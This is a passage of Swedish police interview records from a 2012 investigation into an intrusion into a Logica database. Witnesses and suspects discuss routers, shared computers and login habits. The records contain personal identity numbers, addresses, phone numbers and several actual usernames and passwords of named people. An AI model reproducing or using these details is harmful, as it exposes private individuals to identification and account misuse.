Enhet 

LU/S Specialbrottsektion 
Hörd person 

Backe, Mikael 

Den hörde är 

Annan 
Tolk 

I D  styrkt 

Ja 

Brottsmisstanke l Anledning till förhöret 

Sätt 

Okänt 

Förhör Signerat av 

Signerat datum 

Diarienr 

020 1 -K8 1 864- 1 2  
Personnummer 

stäl ln ing t i l l  misstänkt - målsägande - vittne 

Språk 

Hörd upplysningsvis angående dataintrång i slutet av februari 20 1 2  
Underrättad om misstanke 

Försvarare/ombud önskas 

Förhörsledare 

Tommy Nordström 
Förhörsplats 

skogsrundan l ,  Ludvika 
Förhörsvittne 

Berättelse 

Underrättad om rätt till försvarare (best i FUK 1 2§ iakttagna) 

Försvarare/ombud närvarande Godtar den försvarare som rätten förordnar 

Förhörsdatum Förhör påbörjat Förhör avslutat 

20 1 2-04-03 1 2 :49 07:40 
Typ av förhör Förhörssätt 

RB 23 : 6  
Utskrivet av 

Förhör upplysningsvis kl 07.20 20 1 2-03-30 med Mikael Backe 630507-90 1 1 . 
Förhöret hållet i bostaden på skogsrundan l i Ludvika. 

Anledning till förhöret. 
Detalj er och omständigheter kring dataintrång i slutet av februari och början mars- 12 .  

Mikael Backe som fortsättningsvis i förhöret kommer att benämnas Mikael uppger 
inledningsvis på fråga att hans son J onas bor mer eller mindre på heltid hemma hos honom. 
Detta då Jonas studerar på ABE-gymnasiet i Ludvika. 

Han uppger att den bredbandstjänst de har heter LA-cable eller liknande och att den 
innefattar förutom Internet, tv och telefoni också. Han uppger att alla, dvs han själv, Jonas 
och hans dotter Julia, har egna datorer men att de använder varandras datorer vid behov. Han 
säger att de ansluter till Internet via den router som de har kopplad till bredbandsmodemet 
Mikael uppger att hans router har namnet "Backe" och att lösenordet till den är harr eller 
harren eller harrar, han minns inte riktigt. 

Mikael tillfrågas om han var hemma i bostaden under slutet av februari och början av mars 
varpå han tittar i sim almanacka och säger att han var bortrest den 25-28 februari samt den 
29 :e februari to .m. 4 mars 20 12 .  Han uppger att under denna tid bodde Jonas hemma hos 
honom själv. 

På frågan om helgen den l 0- 1 1 : e  mars så säger Mikael att J onas var hemma hos Mikael. 
Några detaljer i övrigt kring denna helg minns han inte . Inget var nedtecknat i hans 
almanacka. Vecka 1 1  och 1 2  var Jonas också hemma. Han tillfrågas om Julia var hemma vid 
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dessa tillfållen också och han svarar att det var hon. Så även hennes pojkvän Rasmus Frost 
vad han minns . 

På fråga om Jonas dator/Internet kunskaper så säger Mikael att Jonas använder nätet 
frekvent. Han säger att det är mest sociala medier såsom Facebook och så men även en hel 
del som gäller skolarbete. Han uppger på fråga att han inte tycker att Jonas skulle vara 
extremt duktig på datorer eller Internet utan snarare normalduktig likt de flesta ungdomar i 
hans ålder. 

Mikael uppger på fråga att den stationära datorn i hans sovrum/arbetsrum används av alla i 
hushållet. Denna dator saknar inloggning eller lösenord. 

Mikael tillfrågas om han eller någon annan i hushållet använder sig av VPNNPS-tjänster 
men han uppger att han inte ens vet vad detta är. 

På fråga om han den senaste månaden märkt något på J onas som att det skulle ha hänt något 
eller något som trycker honom så säger Mikael att något sådant har han ej märkt. Allt har 
varit precis som det brukar och så även Jonas . Jonas har inte berättat att det skulle ha hänt 
något på Internet. 

Mikael tillfrågas slutligen om Jonas bekantskapskrets och dennes närmaste vänner och 
Mikael säger att Jonas har två kompisar han umgås frekvent med och de heter David Glader 
och Björn stenerssen som går i samma klass som Jonas. De är hemma hos Jonas då och då. 
V ad gäller deras datakunskaper säger Mikael att han inte känner till detta. 

Förhöret avslutas kl 07 .40 och är uppläst och godkänt i samband med nedtecknandet 
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Polismyndighet 

Stockholms län 
Enhet 

LU/IT !T-forensisk sektion 
Hörd person 

Vikström, Linnea 

Sätt 

Förhör 
Signerat av 

Signerat datum 

Diarienr 

020 1 -K8 1 864- 1 2  
Personnummer 

stäl ln ing t i l l  misstänkt - målsägande - vittne Den hörde är 

Annan 
ID styrkt 

Ja Svenskt körkort 
Tolk 

Brottsmisstanke l Anledning ti l l  förhöret 

Utredning angående dataintrång 
Underrättad om misstanke 

Försvarare/ombud önskas 

Förhörsledare 

Krister Starck 
Förhörsplats 

Timmermansvägen 14  
Förhörsvittne 

Berättelse 

Språk 

Underrättad om rätt t i l l  försvarare (best i FUK 1 2§ iakttagna) 

Försvarare/ombud närvarande Godtar den försvarare som rätten förordnar 

Förhörsdatum Förhör påbörjat Förhör avslutat 

20 12-04- 1 5  1 2 :00 1 2 : 1 6  
Typ av förhör Förhörssätt 

RB 23 :3  
Utskrivet av 

Linnea bor i lägenheten tillsammans med tillsammans med Mathias Riska. Dessutom bor där 
Mathias son Oscar samt Linneas son Noa. 

Internetabonnemangen har de haft ungefår sedan januari 20 12 .  Linnea tror att det är hon som 
står för abonnemanget. Det används för att koppla upp Linneas bärbara dator, Oscars bärbara 
dator, samt ett PlaystationspeL Anslutningen sker trådlöst. 

Nätverksutrustningen inköptes på Elgiganten och installerades av Linnea. När hon gjorde 
installationen ändrade hon något i inställningarna, men minns inte riktigt vad. Hon minns inte 
om hon ändrade inloggningslösenord. 

Så vitt Linnea känner till så har ingen annan tillgång till nätverket eller dess lösenord. Linnea 
har inte lagt märke till något konstigt med nätverket eller datorer. 

Linnea tillfrågas om hon känner Mattias Gustavsson eller Lisa Bergström 

Linnea vet att det bor en Mattias i ett hus i närheten. Hon vet inte om han heter Gustavsson, 
men tror det då han kallas för "Gus" .  Hon tror också att Mattias har en tjej som heter Lisa. 

Hon känner dem inte närmare. 
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Polismyndighet 

Stockholms län 
Enhet 

LU/SF "AVSTÄLLD" Förmögenhetsgrupp 
Hörd person 

Sundelius, Jen 

Den hörde är 

Annan 
Tolk 

I D  Styrkt 

Nej 

Brottsmisstanke l Anledning t i l l  förhöret 

Hörs upplysningsvis. 

Förhör 
Signerat av 

Signerat datum 

Diarienr 

020 1 -K8 1 864- 1 2  
Personnummer 

stäl ln ing t i l l  misstänkt - målsägande - vittne 

Språk 

Underrättad om misstanke Underrättad om rätt t i l l  försvarare (best i FUK 1 2§ iakttagna) 

Försvarare/ombud önskas Försvarare/ombud närvarande 

Förhörsledare 

Bengt Rehnberg 
Förhörsplats 

strategiska sektionen, plan 5 
Förhörsvittne 

Berättelse 

Godtar den försvarare som rätten förordnar 

Förhörsdatum Förhör påbörjat Förhör avslutat 

20 1 2-04- 1 7  14 :05 1 4 :45 
Typ a v  förhör Förhörssätt 

RB 23 :6  Telefonförhör 

Utskrivet av 

J en Sundelius är anställd som säljare på Infotorg. J en berättar att Infotorg ingår i koncernen 
Bisnode. Koncernen Bisnode består av ca 40 företag varav Applicate är ett av dem. J en har 
inte något med Applicate att göra. 

Jens arbetsuppgift är att sälja Web-tjänster till i första hand banker, finansbolag och 
försäkringsbolag. 

Jen använder inte själv de tjänster som hon säljer mer än att hon vi något enstaka tillfälle kan 
gå in i något system för att demonstrera hur det fungerar. Då kan det vara så att hon är hos en 
kund, t. ex. en bank och loggar in med sitt eget användamamn och lösenord på en av deras 
datorer för att demonstrera tjänsten. Enligt uppgift kan det vara så att hennes 
inloggningsuppgifter sparas i datorn i ca 1 5  minuter. 

J en berättar att hon arbetade hemifrån den 7 mars, det var en onsdag minns hon. Hon skulle 
göra något och försökte logga in i persontjänsten. Det som hände då var att hon nekades 
tillträde, hon var utspärrad stod det. 

J en kontaktade via ett mail kundservice och påtalade problemet. Kundservice kontaktade Per 
Forsberg, som är IT-chefpå Infotorg. Han kontrollerade vad som hade inträffat och vad som 
var orsak till att J en var utspärrad. Forsberg fann att någon hade varit inloggad den 4 mars 
med Jen :s  inloggningsuppgifter. 

Jen tillfrågas vad hon har för användamamn. 

J en svarar efter att få tänka efter en stund att det är BSNOO någonting, hon kommer inte ihåg 
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de två sista siffrorna just nu. Hon chansar med ett par siffror som är fel, men med hjälp av 
förhörsledaren så kommer hon slutligen fram till att hennes användarnarun är BSN0058 .  

Enligt J en s å  har hon tilldelats användamarnuet av arbetsgivaren någon gång för länge sedan. 
Hon har inte hittat på det själv. Hennes lösenord är "sommar" . Lösenordet har hon haft länge. 
Hon säger att hon aldrig har bytt det någon gång. 

Tillfrågad om hon varit in i något system före den 4 mars, svarar J en att hon fick en ny dator 
den l mars . Hennes gamla hade krånglat en längre tid. Ett företag som de på Infotorg vänder 
sig till vid problem med datorer är Informatics .  Någon person från Informatics har arbetat 
med Jens gamla dator. Man har oroinstallerat den eller rensat den, hon vet inte exakt vad man 
har gjort med datorn. 

Jen hade haft datorn så pass länge så det var dags att byta ut den i alla fall, vilket gjordes den 
l mars. Det var Informatics som tillhandahöll den nya datorn. 

Jen berättar att hon var hos en kund den 28 februari. Hon var då hos Nordea i Hammarby 
sjöstad. Hon minns att hon loggade in på en av deras datorer i ett mötesrum för att 
demonstrera tjänsten. 

Per Forsberg hade frågat J en om hon varit i Värmland någonting och om det hade hänt något 
särskilt där. 

J en säger att hon varit hos en kund i Karlstad den 2 februari. Det var hos SBAB. Hon hade 
även där loggat på en persondator för att demonstrera. 

Anledningen till att Forsberg hade frågat om detta var att man hade upptäckt att det gick ut 
orofrågandekopior till personer i Värmland. 

Jen tillfrågas vad hon menar med omfrågandekopior. 

Det är när någon gör en kreditupplysning på en person så frågar programmet om en 
orofrågandekopia skall gå ut till den som har blivit kontrollerad. Det hade inträffat att flera 
orofrågandekopior hade gått ut i Värmland och då var det J en: s inloggningsuppgifter som 
använts . 

Jen har inte haft sina inloggningsuppgifter sparade på något annat sätt än i sitt eget huvud. 
Hon har inte lämnat ut dem till någon annan. Hon har ingen egen teori om hur det kan 
komma sig att hennes användaruppgifter har kommit ut. 

Uppläst och godkänt. 
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55 1 
Signerat av 

Förhör 
Riska 

John G Steenmark 

Pol ismyndighet 

Stockholms län 
Enhet 

LU/SF "AVSTÄLLD" Förmögenhetsgrupp 
Hörd person 

Riska, Mathias 

Den hörde är 

Annan 
Tolk 

I D  Styrkt 

Nej 

Brottsmisstanke l Anledning t i l l  förhöret 

Riskas kännedom om bostadens accesspunkt 

Signerat datum 

20 1 3 -03 -22 08 :29 

Diarienr 

020 1 -K8 1 864- 1 2  
Personnummer 

stäl ln ing t i l l  misstänkt - målsägande - vittne 

Språk 

Underrättad om misstanke Underrättad om rätt till försvarare (best i FUK 1 2§ iakttagna) 

Försvarare/ombud önskas Försvarare/ombud närvarande 

Förhörsledare 

John G Steenmark 
Förhörsplats 

Timmermansvägen 14  F; Ludvika 
Förhörsvittne 

Berättelse 

Godtar den försvarare som rätten förordnar 

Förhörsdatum Förhör påbörjat Förhör avslutat 

20 1 2-04- 1 5  12 :00 1 2 : 1 0  
Typ av förhör Förhörssätt 

RB 23 : 6  Konceptförhör 
Utskrivet av 

JS 

Riska uppgav att de hade två datorer och en Playstation. Sonen Oskar skulle även ha en 
skoldator. Han visste knappt någonting om accesspunkten då han inte satt upp den. Han 
brukade mest vara inne på Facebook och betala räkningar. 

Han kände inte till Lisa Bergström och Mathias Gustafsson. 

Uppläst och godkänt underhand från anteckningar. 



Polismyndighet 

Stockholms län 
Enhet 

LU/SF "AVSTÄLLD" Förmögenhetsgrupp 
Hörd person 

Sandell, Anders 

Den hörde är 

Annan 
Tolk 

ID  Styrkt 

Nej 

Brottsmisstanke l Anledning ti l l  förhöret 

Förhör 
Signerat av 

Signerat datum 

Diarienr 

020 1 -K8 1 864- 1 2  
Personnummer 

Stäl ln ing t i l l  misstänkt - målsägande - vittne 

Språk 

Hörs upplysningsvis ang två personers koppling till företaget Logica. 
Underrättad om misstanke Underrättad om rätt t i l l  försvarare (best i FUK 1 2§ iakttagna) 

Försvarare/ombud önskas Försvarare/ombud närvarande 

Förhörsledare 

Bengt Rehnberg 
Förhörsplats 

strategiska sektionen, plan 5 
Förhörsvittne 

Berättelse 

Godtar den försvarare som rätten förordnar 

Förhörsdatum Förhör påbö�at Förhör avslutat 

20 1 2-05-09 1 5 : 50  1 6 :05 

Typ a v  förhör Förhörssätt 

RB 23 : 6  Telefonförhör 
Utskrivet av 

Förhör med Anders Sandell, säkerhetschef på Logica, onsdagen den 9 maj mellan kL 1 5 :50 -
1 6 :05 .  

Anders Sandeli hörs på telefon. 

Under vecka 1 8  har Anders Sandeli kontaktats av mig i anledning av att han som 
säkerhetschef för Logi ca ombeds att ta reda på om två nämnda personer har någon koppling 
till företaget Logica. 

De två personer som Anders Sandeli har tillfrågats om är: 
Johan Fredrik Jefta Seifert född 8003 1 2-9379 
Erik CONNY Rosenholm född 75 1 225-00 1 5  

Anders Sandeli uppger att Fredrik Seifert är anställd på Logi ca sedan maj 2007. Seifert är 
förvaltningsledare och leder ett antal utvecklare som har till uppgift att utveckla, förändra och 
förbättra programvara som används av Bankgirocentralen. Det jobbet har Seifert haft sedan 
november 20 l O.  
Seifert sitter på Bankgirocentralen 3 dagar i veckan och de återstående 2 dagarna tillbringar 
han på Logicas kontor i Nacka. 
När det gäller Conny Rosenholm så har Sandeli inte hittat någonting som kopplar honom till 
företaget. 
Sandeli har kontrollerat inpasseringssystemet, registrerade konsulter, tidredovisningssystemet 
och behörigheter till datasystemet. Sandeli har inte hittat namnet Conny Rosenholm i något 
sammanhang. 
Förhöret kompletteras 20 1 2-05-23 med frågan om Logica använt sig av konsultföretaget 
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SSC Sweden AB i något sammanhang. (Conny Rosenholm har enligt uppgift varit avlönad 
från detta företag under 20 1 1 ) 

Anders Sandeli säger att man inte har hittat något som tyder på att detta företag har varit 
anlitat som konsult. 

Genomläst och godkänt 
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Polismyndighet 

Stockholms län 
Enhet 

LU/S Specialbrottsektion 
Hörd person 

Palmkvist, Jenny Matilda 

Den hörde är Sätt 

Förhör 
Signerat av 

Signerat datum 

Diarienr 

020 1 -K8 1 864- 1 2  
Personnummer 

1 99308 1 0-046 1 

Stäl ln ing t i l l  misstänkt - målsägande - vittne 

Misstänkt 
I D  Styrkt 

Ja Svenskt körkort 
Tolk 

Brottsmisstanke l Anledning t i l l  förhöret 

se nedan 
Underrättad om misstanke 

Ja 
Försvarare/ombud önskas 

Ingen närvarande vid dagens 

förhör. Återkommer med namn på 

biträde. 

Förhörsledare 

Ingvar Kjellvås 
Förhörsplats 

Generatorsgatan 3C i bostaden 
Förhörsvittne 

Berättelse 

Språk 

Underrättad om rätt till försvarare (best i FUK 1 2§ iakttagna) 

Ja 
Försvarare/ombud närvarande Godtar den försvarare som rätten förordnar 

Förhörsdatum Förhör påbörjat Förhör avslutat 

20 1 2-03 -30 08 : 1 0  08 :45 
Typ av  förhör Förhörssätt 

RB 23 : 6  Konceptförhör 
Utskrivet av 

Övriga närvarande : krinsp Kenneth Stark, Joakim Persson, Länskriros IT avdelning. 
Förhörsvittne : Matildas mamma Ingegerd Palmqvist. 

Delgivning av misstanke: 
Dataintrång/medhjälp till dataintrångfrån och med den 25 februari 12012 till och med 
förhörsdatum. Intrånget har skett via internet i databas som tillhör Logica och innehåller 
information som används av ettflertal myndigheter, bl. a. personuppgifter. 

Misstanken läses upp två gånger. Matilda säger därefter att hon förstår delgivningen. 

Matilda delges sin rätt till försvarare under förundersökningen. 
Matilda säger att dagens förhör kan genomföras utan närvaro av försvarare . Matilda säger att 
hon har sin mamma som förhörsvittne och det räcker. 

Berättelse:  
När Matilda tagit del av delgivningen säger hon att hon förstår ingenting. 

Matildas mamma heter Ingegerd Palmkvist och pappa är Kauko Peltokangas . 

De kompisar som hon umgås med mest är Everlina, Jessika Åkerstedt och Maria Verner. 
Ingen av dessa har någon speciell datakunskap utan är normalanvändare som Matilda är. 

554 



Förhör med Palm kvist, J en ny Mati lda ;  201 2-03-30 08 : 1  O d iarienr:  0201 -K8 1 864- 1 2  

Matildas datakunskap är att använda intemet men inte så här mycket som fanns i 
delgivningen. Matilda har en egen bärbar dator, Toshiba, som hon haft sedan år 2008 .  Hon 
använder inget lösenord. Ibland kan kompisar, de hon nämnde tidigare, använda hennes dator 
när de besöker Matilda. 

I Matildas bostad finns även en stationär dator som tillhör familjen. 

Matilda har en telefon som hon kopplar till den stationära datoms router, det trådlösa 
nätverket. 

Matilda redogör för sin relation till Ove Lagergren. 
Matilda vet vem det är, han var tidigare tillsammans med Matildas mamma. Sista gången 
Matilda hade kontakt var julen 20 1 1 .  Hon brukar aldrig besöka Ove i hans bostad, när detta 
inträffade kommer hon inte ihåg, kanske år 2006. 
Nu bor Ove utanför Borlänge. 
Matilda känner till att Ove jobbar på företaget Logica, vad han jobbar med där känner 
Matilda inte till. Ingen av Matildas kompisar känner till vad Ove jobbar med. 

Matilda känner inte till om Ove vistas på någon annan adress. 

Matilda har 230-240 Facebookkompisar. Hon har dock bara kontakt med sina närmaste, de 
som hon nämnde tidigare. 

De Facebookkompisar som har datakunskap är Rikard Eriksson, bor i Insjön, 30  år, vidare 
hennes morbror Inge Palmkvist, bor i Gagnef, 60 år, han kan programmering, har gjort en 
hemsida. 
I Matildas bekantskapskrets finns en datalärare på Estetiska vid namn Lars Wilbe. Han har 
varit hennes lärare men de har ingen kontakt. De säger hej till varandra när det möts . 

Matilda delges namnet Rasmus Frost. 

Matilda säger att hon gick tillsammans med honom i skolan för tre år sedan. Han är 1 8- 1 9  år. 
Numera har de ingen kontakt. Hon har ingen aning om hans datakunskap. 
Matilda tror att hon är Facebookkompis med honom. De har dock inte haft någon kontakt via 
Facebook 

Matilda delges namnet Stefan Nagy. 

Matilda säger att hon gick tillsammans med honom i skolan för tre år sedan. Han är 1 8- 1 9  år. 
Numera har de ingen kontakt. Hon har ingen aning om hans datakunskap. 
Matilda har bara sett honom på stan. 
Mati1da tror att hon är Facebookkompis med honom. De har dock inte haft någon kontakt via 
Facebook De tillhör en Facebooksgrupp 

Matilda delges namnet Per Jonas Backe. 

Mati1da känner inte denna person, hon har aldrig hört namnet. 

Matilda vet ingenting om företaget Logica. 

Matilda berättar att det kommit upp en annan IP adress på hennes bärbara dator, senaste 
gången var förra veckan på kvällstid. Antal gånger, mellan fem och tio gånger. Första gången 
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var kanske för ett år sedan. 
Matilda kommer inte ihåg IP adressen. Det hon gjorde var att hon "stängde ner datorn" .  
Matilda har inte pratat med någon om detta. 

Matilda berättar att det är de själva som installerat deras eget datasystem med router. 
Matildas syster Emeli och hennes pojkvän Rikard Eriksson har använt det krypterade 
nätverket. 

Matilda har inte sett/vetat om något lösenord till Oves datorer. Ove har inte berättat vilket 
lösenord han har till sina datorer. 

Ove umgås med Matildas syster Emeli och Anna Karin som bor i Stockholm, 40-50 år. 
Vidare Malin Palmkvist och Rikard Eriksson som är datakunnig. 

När Matilda har besökt Ove har hon inte använt Oves dator. 

Det är Rikard Eriksson som kopplat in nätverket hemma hos Matilda. Rikard bor tillsammans 
med Emeli på Sandvägen, tfn 0247-798 232. 

Förhöret avslutat kl 08 .45 

Ingvar Kjellvås, krinsp 

20 12-04-02 kl 1 3 .20 
Förhöret uppläst på telefon för Matilda. Hon godkänner utskriften utan ändringar eller tillägg. 

Matildas mobilnr är 076- 1 0  29 927 

l I Kjellvås 
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Polismyndighet 

Stockholms län 
Enhet 

LU/S Specialbrottsektion 
Hörd person 

Lagergren, Konrad Lars Ove 

Den hörde är 

Misstänkt 

Tolk 

ID  Styrkt 

Ja 

Brottsmisstanke l Anledn ing ti l l  förhöret 

557 

Förhör 
Signerat av 

Signerat datum 

Diarienr 

020 1 -K8 1 864- 1 2  
Personnummer 

1 953 1 1 1 2-7 1 3 7  

Sätt stäl ln ing t i l l  misstänkt - målsägande - vittne 

Körkort klass AB gällande 

till 20 1 3 - 1 2-3 1 
Språk 

Dataintrång alt. medhjälp till dataintrång från 25 januari 20 1 2  till och med 30 mars 20 12 .  Intrånget har 

skett via Internet i databas tillhörande företaget Logica som innehåller information som används av ett 

flertal myndigheter, bl.a personuppgifter 
Underrättad om misstanke 

Ja 
Försvarare/ombud önskas 

Förhörsledare 

Bengt Rehnberg 
Förhörsplats 

strategiska sektionen, plan 5 
Förhörsvittne 

Berättelse 

Underrättad om rätt till försvarare (best i FUK 1 2§ iakttagna) 

Ja 
Försvarare/ombud närvarande 

Ja 
Godtar den försvarare som rätten förordnar 

Förhörsdatum Förhör påbörjat Förhör avslutat 

20 1 2-03-30 09 :00 1 1 :00 

Typ av förhör Förhörssätt 

RB 23 : 6  
Utskrivet av 

Ove Lagergren kommer fortsättningsvis att kallas för O i detta förhör. O tillfrågas om behov 
av försvarare. O anser sig inte vara i behov av försvarare i nuläget eftersom han är säker på 
att han inte har gjort något olagligt. Han förnekar brott. O går med på att detta förhör hålls 
utan försvarare. 

O är anställd på Logica. Han är systemtekniker och jobbar på kontoret i Borlänge. O arbetar 
ibland hemifrån. Han kopplar då upp sig till stordatorn via ett trådlöst nätverk som finns i 
bostaden. Han har Internet från Telia. Rautern har lösenord, det är inte ett öppet nätverk. 

O har jobbat länge med samma arbetsuppgifter. Kort går det ut på att automatisera driften i de 
system som Logica förvaltar. 

För att kunna logga in på stordatorn så måste O först starta sin Laptop (tillhandahållen av 
arbetsgivaren Logica) med ett lösenord (Vasal Olopp) . Han använder sig av operativsystemet 
Windows 7, Enterprice. För att kunna logga in på stordatorn måste han ha ett användarnamn 
och ytterligare ett lösenord. 

Dessa lösenord är giltiga i 30 eller 3 1  dagar, sedan måste man byta till ett nytt lösenord för att 
kunna logga in. Kravet på lösenordet är att det måste innehålla minst en siffra och det måste 
bestå av minst sju tecken. 



Förhör med Lagergren ,  Konrad Lars Ove ; 201 2-03-30 09:00 d iarienr: 020 1 -K8 1 864- 1 2  

O berättar att han blev kontaktad av kollegan Elisabeth Gummesson den 9 mars för att hon 
ville ha hjälp att lösa en sak. Hon hade önskemål att kunna få ett larm till sin mobiltelefon om 
systemen blev överbelastade eller om det helt plötsligt skulle bli mycket trafik i systemen. 
Allt som berör detta återfinns nedtecknat av Inspektör Ulrika Sundling i slutet av detta förhör. 

O uppger på fråga att han har en dotter som heter Emilie Palmqvist född 1 980.  Emilie är 
sambo med Rickard Eriksson som är ca 3 5  år. Tillsammans har de två barn 6 och 9 år gamla. 

Emilie jobbar på systembolaget i Djurås och sambon Rickard jobbar just nu på ett företag 
som åker runt till sjukhus och fyller på lustgas vid behov. 

O tillfrågas om vilken kontakt han har eller har haft med Matilda Palmqvist. Matilda 
Palmqvist är O : s  exfrus dotter som är ca 1 7- 1 8  år tror O. O säger att han inte har haft särskilt 
mycket kontakt med henne. De träffas kanske upp till två tre gånger om året i samband med 
någon födelsedag eller så. Han tror att det var i julas som de träffades senast. Det var hemma 
hos Emelie. 

Matilda har vad O minns inte varit hemma hos O särskilt många gånger. Hon kan ha varit 
hemma hos O när O : s  son Robert var sjuk i cancer. (sonen avled av sin sjukdom 2006) . 

O tillfrågas om han känner igen namnen Mikael Backe, Per Jonas Backe och Stefan Nagy. 

O känner inte till någon av dem. 

O tillfrågas vad han har för egna teorier om hur intrånget har gått till. 

O säger att han inte kan förstå hur det har gått till . Han nämner dock att han i slutet av 
februari installerade ett program på sin laptop. Programmet skall generera engångskoder för 
inloggning på stordator. 

Tidigare hade man ett system eller program som heter NorteL Det var en slumtalsgenerator 
som gav en engångskod för inloggning. Hela företaget har bytt system och varje  medarbetare 
som behöver logga in på stordatorn skall installera en programvara på sin dator. Det heter 
Juniperl pledge. Där genereras engångsnyckeln i pc:n. Man kunde även välja  att ha det i sin 
telefon, men O har bara installerat det på sin laptop. O menar att om pc:n blir kapad så kanske 
det är möjligt att komma åt engångsnyckeln. 

Förhör 20 1 2-03-30 Ulrika Sundling är förhörsledare i detta avsnitt. 

Ove berättar att han bytte lösenord får ca 3 veckor sedan, han tror att det var lördagen den l 0/3 . 
Systemet "tvingar" användaren att byta l g/månad. Enligt Ove så är det en generator som ligger i PC:n. 
Ove tillfrågas om tiden då han reagerade på att det var något konstigt. 
Ove berättar att de var den 9/3 när han satt på kontoret i Nacka som han blev tillfrågad av Elisabet G 
(EG) om hj älp med att skapa ett sms-larm. EG önskade hj älp med att larmet skulle varna får 
onormala transaktioner på CPU och övervaka systemet. 
Ove kommer inte ihåg precis vilken aktivitet men kortfattat var det en moniterering för hur systemet 
mådde. Ove berättar att han ordnade det åt EG. 
Ove berättar att de vid det tillfället gick in och tittade i loggar, OPS loggar, opsmvs. Ove beskriver att 
de är lika som SYSLOG men att man i dessa kan selektera mer på MSGID (meddelande id) . Ove 
beskriver att han då såg en massa konstigt. Ove tillfrågas om vad han beskriver som "konstigt" . Ove 
berättar att det var han, EG, någon i Skåne och Applicate som såg detta. 
Ove förtydligar att han såg något konstigt användarid och någon som fick access den i ed , och att det 
som var konstigt, det han reagerade på, var att det användarid: et inte andvänts på 1 00 år. Dessutom 
var det för mycket aktivitet i systemet. Ove börj ade då tänka på att om någon user är knäckt så kan det 
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gälla även mig. 
Ove berättar vidare att han under lördagen, 1 0/3 , blev uppringd av EG på eftermiddagen som hade 
reagerat på något. Ove säger att det måste ha varit något med hans user id och han loggade då in och 
bytte lösenord. Ove säger att han sedan på kvällen loggade in igen och såg då att det var något 
konstigt med hans user. Ove beskriver att han såg sitt userid, WMOVLAE, i något message. Ove 
berätta att message-raden kan han ha orsakat själv men eftersom det hade varit en hel del konstigheter 
så reagerade han på det. Han beskriver att han då medvetet slängde ut sig sj älv ur systemet- rewokade 
sig genom att ange fel lösenord tre gånger. 
Ove berättar vidare att efter att han revokat sig så skickade han email om detta till EG och Alan 
Hunter. Alan är enligt Ove RackF administratör. Ove säger att han tror att han även ringde till EG om 
detta. 
Ove tillfrågas om hans behörighets nivå och säger att han tror att han har en vanlig 
teknikerbehörighet Ove förklarar att teknikerbehörigheten är hög. 
Ove tillfrågas om någon mer har tillgång till hans dator och svarar att han aldrig lånar ut datorn och att 
arbetsdatorn är den enda dator han har. På Internet läser han mest nyheter . Ove berättar att han fick en 
ny arbetsdator i våras. 
Ove tillfrågas om han känner till filen wsftp. exe . Ove förklarar att han gör det och att det är en 
ftp-klient som han försökte installera för att hj älpa en kund som hade problem och att det var bråttom. 
Ove tror att det var i slutet av j anuari i år som han försökte att installera det men att det 

filöverföringsprogrammet aldrig fungerade i hans maskin. Ove förklarar att han fick programmet av 
en kollega. Han tror att det var Staffan Ottosson i Malmö men är inte helt säker. Ove förklarar att han 
brukar använda olika ftp-program anpassade för olika milj öer för att hj älpa kunder. 
Ove tillfrågas om filen c rack. exe . Ove säger att han inte känner till den men att den kan höra ihop 
med wsftp. exe. Han funderar men kan inte riktigt komma ihåg hur det var. 
Ove tillfrågas om han använder någon annan epost än sitt arbetskonto. Ove svarar att han har haft en 
adress, ovlag@hotmail.com , men som han inte använder längre och inte har använt på en lång tid. 
Ove tillfrågas om sin vänlista på Facebook och han berättar att av hans 24 vänner ar det mest släkt och 
grannar. Ove säger att han inte är så aktiv på Facebook och säger att han inte reflekterat över att det 
står har jobbat på Logica. Det är inget som han sj älv har angivit. 
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Förhör 
Signerat av 

Olle Wahlström 
Signerat datum 

Polismyndighet 

Stockholms län 
20 12-04-07 1 3 :23 

Enhet 

LU/IT !T-forensisk sektion 
Hörd person 

Backe, Per Jonas Wilhelm 

Den hörde är 

Misstänkt 
Tolk 

ID  Styrkt 

Ja 

Brottsmisstanke l Anledning ti l l  förhöret 

Sätt 

Körkort 

Diarienr 

020 1 -K8 1 864- 1 2  
Personnummer 

1 9930528- 1 6 1 1 

Stäl ln ing t i l l  misstänkt - målsägande - vittne 

Språk 

Dataintrång alt. medhjälp till dataintrång i servrar och databaser tillhörande Logica från den 25 februa· · 

20 1 2  fram till 29 mars 20 12 .  
Underrättad o m  misstanke 

Ja 
Försvarare/ombud önskas 

Vid eventuella fortsatta förhör 

önskas biträde av försvarare 

Förhörsledare 

Olle Wahlström 
Förhörsplats 

Skogsrundan l ,  Ludvika 
Förhörsvittne 

Berättelse 

Jonas Backe FÖRNEKAR brott. 

Underrättad om rätt till försvarare (best i FUK 1 2§ iakttagna) 

Ja 
Försvarare/ombud närvarande Godtar den försvarare som rätten förordnar 

Ja 

Förhörsdatum Förhör påbörjat Förhör avslutat 

20 1 2-03-30 08 :30  1 0 :00 

Typ a v  förhör Förhörssätt 

RB 23 : 6  
Utskrivet av 

Jonas Backe är skriven hos sin mamma men bor mestadels hos sin pappa på Skogsrundan l i 
Ludvika. 

J onas tillfrågades om han känner eller känner till Mathilda Palmkvist eller Ove Lagergren. 
Han svarade att han inte kände någon av dessa personer och inte heller kunde påminna sig att 
han hört namnen. 

När det gäller datorer använder sig Jonas av Office-program i skolarbetet. Han brukar 
använda Internet, bl.a. Facebook, och spelar spel på datorn. Jonas har läst programmering i 
skolan men det är inget han brukar syssla med på fritiden. Till sin egen stationära dator har 
Jonas inget lösenord. På sin laptop, som tillhör skolan, har han användarnamnet "9JONBAC" 
och lösenordet "elefantbaj s3000" .  Jonas använder ingen kryptering och vad han känner till 
finns det heller ingen kryptering på någon av datorerna. Skoldatorn används bara av Jonas 
men den stationära kan användas av alla i hemmet även om det bara är Jonas som brukar 
använda den. 

Jonas har flera gånger råkat ut för virus på sin stationära dator. Detta har han sett genom att 
antivirusprogrammet "AVG" varnat för virus. Då han upptäckt virus på datorn har han tagit 
bort det med hjälp av antivirusprogrammet Han minns inga specifika namn på virus som han 
råkat ut för. Jonas tror att han kan ha ratt virus i samband med att han laddat ner filer till spel i 
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serien "Total War" . Även Jonas brandväggsprogram, "Comodo" ,  har varnat för farliga filer 
och trojaner. Jonas tror att han råkat ut för virusvarningar vid 20-40 tillfållen under 20 12 .  
Sista gången var för mer än en månad sedan. Jonas känner inte till några 
fjärrstyrningsprogram. Han vet inte om windows fjärrskrivbord är aktiverat på hans datorer. 
Jonas känner inte till begreppen "VPN" eller "VPS" .  

Företagat Logica känner Jonas inte till. Han tror inte att han hört talas om det. Inte heller 
Infotorg känner han till men möjligen kan det vara så att han fått sparn-mail från något som 
heter Infotorg. Att det skulle skett ett dataintrång mot Logica har han inte hört talas eller läst 
